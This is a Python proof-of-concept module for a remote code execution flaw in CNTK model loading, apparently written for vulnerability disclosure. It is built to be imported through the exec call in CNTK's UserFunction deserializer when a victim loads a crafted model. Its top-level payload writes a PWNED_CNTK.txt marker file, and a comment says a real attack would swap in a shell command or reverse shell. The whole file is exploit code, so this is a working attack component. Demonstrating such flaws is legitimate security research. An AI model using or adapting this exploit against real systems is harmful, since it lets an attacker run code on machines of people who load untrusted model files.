File size: 1,397 Bytes
9b18c5a
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
"""
Attacker-controlled module referenced by a malicious CNTK model file.

When a victim calls cntk.Function.load(<malicious model>), CNTK's UDF
deserializer runs:  exec("from evil_udf import EvilUDF")
Importing this module executes the top-level code below = RCE proof.
"""
import os

# --- payload: proof of code execution on model load ---
_marker = os.path.join(os.path.dirname(os.path.abspath(__file__)), "PWNED_CNTK.txt")
with open(_marker, "w") as _f:
    _f.write("CNTK UserFunction deserialization RCE: evil_udf imported on Function.load\n")
    _f.write("cwd=%s\n" % os.getcwd())
# On a real target this would be os.system('calc') / reverse shell, etc.

from cntk.ops.functions import UserFunction
from cntk import output_variable


class EvilUDF(UserFunction):
    def __init__(self, arg, name='EvilUDF'):
        super(EvilUDF, self).__init__([arg], name=name)

    def forward(self, argument, device=None, outputs_to_retain=None):
        return None, argument

    def backward(self, state, root_gradients):
        return root_gradients

    def infer_outputs(self):
        return [output_variable(self.inputs[0].shape,
                                self.inputs[0].dtype,
                                self.inputs[0].dynamic_axes)]

    def serialize(self):
        return {}

    @staticmethod
    def deserialize(inputs, name, state):
        return EvilUDF(inputs[0], name)